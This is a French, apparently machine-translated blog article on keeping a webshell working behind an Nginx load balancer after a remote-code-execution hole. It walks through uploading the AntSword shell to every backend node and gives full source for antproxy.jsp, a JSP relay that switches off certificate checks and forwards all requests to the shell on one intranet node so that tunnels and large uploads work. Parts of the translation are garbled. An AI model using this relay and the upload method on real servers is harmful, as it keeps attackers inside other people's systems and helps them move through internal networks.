Maison  >  Article  >  Opération et maintenance  >  Comment implémenter le téléchargement WebShell sous l'équilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous l'équilibrage de charge Nginx

WBOY
WBOYavant
2023-05-16 08:16:131534parcourir

Description du scénario

Supposons que dans un environnement de production réel, il existe une vulnérabilité RCE, qui nous permet d'obtenir WebShell

Installation de l'environnement

Tout d'abord, avant d'extraire l'image vulnérable sur GetHub, nginx et tomcat doivent être installés sur centos à l'avance. Configurez les fichiers de configuration pertinents de nginx et de Tomcat, et utilisez Docker pour extraire l'image afin de reproduire la vulnérabilité.

1. Configurez d'abord l'environnement Docker

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

2. Testez si Tomcat est accessible

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comme vous pouvez le voir sur l'image ci-dessus, le back-end Tomcat est accessible

3. Réponse nginx dans Docker Équilibrage de charge vers l'agent

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

4. Affichez le fichier ant.jsp dans lbsnode1 dans docker

Ce fichier peut être compris comme un cheval de Troie d'une phrase, et le même fichier existe également dans lbsnode2

. lbsnode1:

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

lbsnode2:

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

5. Connectez le fichier ant.jsp via China Ant Sword

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Parce que les deux nœuds ont ant.jsp au même endroit, il n'y a aucune exception lors de la connexion

Problèmes dans le processus de reproduction

Problème 1 : Étant donné que le proxy inverse utilisé par nginx est une méthode d'interrogation, le fichier téléchargé doit être téléchargé au même emplacement sur les deux serveurs backend

Parce que nous chargeons le proxy inverse l'équilibrage implique le téléchargement de fichiers. Un serveur principal a le fichier que nous avons téléchargé, mais l'autre serveur n'a pas le fichier que nous avons téléchargé. Le résultat est qu'une fois qu'il n'y a plus de fichier sur un serveur, alors dans la requête, c'est au tour du serveur. , une erreur 404 sera signalée, ce qui affectera son utilisation. C'est pourquoi cela semble normal pendant un certain temps et des erreurs apparaissent pendant un certain temps.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Solution :

Nous devons télécharger un WebShell avec le même contenu au même emplacement sur chaque nœud, afin que notre serveur backend soit accessible quel que soit le serveur interrogé. Pour télécharger des fichiers sur chaque serveur back-end, vous devez les télécharger comme un fou.

Question 2 : Lorsque nous exécutons la commande, nous n'avons aucun moyen de savoir à quelle machine la prochaine requête sera transmise pour exécution

Lorsque nous exécutons hostname -i pour afficher l'adresse IP de la machine d'exécution actuelle, nous peut voir que l'adresse IP a dérivé

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Problème 3 : Lorsque nous devons télécharger des outils plus volumineux, les outils deviendront inutilisables

Lorsque nous téléchargeons un fichier plus volumineux, AntSword utilise le fractionnement lors du téléchargement de fichiers. La méthode de téléchargement slice divise un fichier en plusieurs requêtes HTTP et les envoie à la cible, ce qui fait qu'une partie du fichier se trouve sur le serveur A et l'autre partie du fichier sur le serveur B, rendant impossible l'ouverture d'outils ou de fichiers plus volumineux ou Utilisation

Question 4 : Étant donné que l'hôte cible ne peut pas sortir d'Internet, si vous souhaitez aller plus loin, vous ne pouvez utiliser qu'un tunnel HTTP tel que reGeorg/HTTPAbs. Cependant, dans ce scénario, tous ces scripts de tunnel échouent.

Solution

Option 1 : Arrêtez l'un des serveurs back-end

L'arrêt de l'un des serveurs back-end peut en effet résoudre les quatre problèmes ci-dessus, mais cette solution consiste en réalité à "accrocher son anniversaire-- " "J'en ai marre de vivre" affectera l'entreprise et provoquera des désastres, donc je n'envisagerai pas de le passer directement

Évaluation complète : ne l'essayez pas dans de telles circonstances ! ! !

Option 2 : Déterminer s'il faut exécuter le programme avant de l'exécuter

Puisqu'il est impossible de prédire quelle machine l'exécutera la prochaine fois, alors avant que notre shell n'exécute la charge utile, nous pouvons d'abord déterminer si elle doit être exécuté.

Créez un script demo.sh pour la première fois. Ce script sert à obtenir l'adresse de l'un de nos serveurs back-end. Le programme ne sera exécuté que s'il correspond à l'adresse de ce serveur. un autre serveur, le programme ne sera pas exécuté.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Téléchargez le fichier de script demo.sh sur les deux serveurs principaux via China Ant Sword. Parce qu'il s'agit d'un équilibrage de charge, vous devez cliquer comme un fou pour télécharger

.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

De cette façon, nous pouvons en effet garantir que la commande exécutée est sur la machine que nous voulons. Cependant, il n'y a aucune beauté à exécuter la commande de cette manière. De plus, des problèmes tels que le téléchargement de fichiers volumineux et. Les tunnels HTTP n'ont pas été résolus.

Évaluation complète : Cette solution est à peine utilisable. Elle ne convient que pour une utilisation lors de l'exécution de commandes et n'est pas assez élégante.

Option 3 : Transférer le trafic HTTP dans la couche Web (point clé)

Oui, nous ne pouvons pas accéder directement au port 8080 de l'IP intranet LBSNode1 (172.23.0.2) à l'aide d'AntSword, mais quelqu'un peut y accéder. en plus de nginx pouvant y accéder, la machine LBSNode2 peut également accéder au port 8080 de la machine Node1.

Vous souvenez-vous encore du plug-in "PHP Bypass Disable Function" ? Après l'avoir chargé dans ce plug-in, nous avons démarré un serveur http localement, puis nous avons utilisé le script de transfert de trafic au niveau HTTP "antproxy.php" , que nous avons placé Regardez ce scénario :

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Regardons cette image étape par étape. Notre objectif est : Tous les paquets de données peuvent être envoyés à la machine "LBSNode 1"

La première étape est l'étape 1. , nous demandons /antproxy.jsp, cette requête est envoyée à nginx

Après que nginx ait reçu le paquet de données, il y aura deux situations :

Regardons d'abord la ligne noire. La deuxième étape transmet la requête à la machine cible et. demande la machine Node1. /antproxy.jsp, puis à l'étape 3, /antproxy.jsp réorganise la requête et la transmet à /ant.jsp sur la machine Node1, qui est exécutée avec succès.

Regardez à nouveau la ligne rouge. À l'étape 2, la requête est transmise à la machine Node2 Puis à l'étape 3, /antproxy.jsp sur la machine Node2 réorganise la requête et la transmet à /ant.jsp de Node1, qui. est exécuté avec succès.

1. Créez le script antproxy.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. Modifiez l'adresse de transfert et redirigez-la vers l'adresse d'accès du script cible de l'IP intranet du nœud cible.

Remarque : Non seulement WebShell, mais également l'adresse d'accès de scripts tels que reGeorg peuvent être modifiés

Nous avons pointé la cible vers ant.jsp de LBSNode1

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Remarque :

a) Faire Si vous n'utilisez pas la Fonction de téléchargement, la fonction de téléchargement sera téléchargée en morceaux, ce qui la dispersera sur différents nœuds.

b) Pour m'assurer que chaque nœud a le même chemin vers antproxy.jsp, je l'ai donc enregistré plusieurs fois pour m'assurer que chaque nœud a téléchargé le script

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

3. Modifiez le shell. configuration, remplissez la partie URL comme adresse de antproxy.jsp et laissez les autres configurations inchangées

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

4 Testez la commande d'exécution, vérifiez l'IP

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Vous pouvez voir que l'IP a. a été corrigé, ce qui signifie que la requête a été corrigée sur la machine LBSNode1. À l'heure actuelle, l'utilisation du téléchargement en plusieurs parties et du proxy HTTP n'est pas différente de la situation autonome. Avantages de cette solution :

1 Elle peut être effectuée avec de faibles autorisations. Si les autorisations sont élevées, cela peut également l'être. effectué directement via le niveau du port, mais cela n'est pas différent des services associés du Plan A

2. En termes de trafic, cela n'affecte que les demandes d'accès à WebShell, et les autres demandes commerciales normales ne seront pas affectées.

3. Adapter plus d'outils

Inconvénients :

Cette solution nécessite une interopérabilité intranet entre le "Nœud cible" et "l'autre Nœud". S'ils ne sont pas interopérables, cela ne servira à rien.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer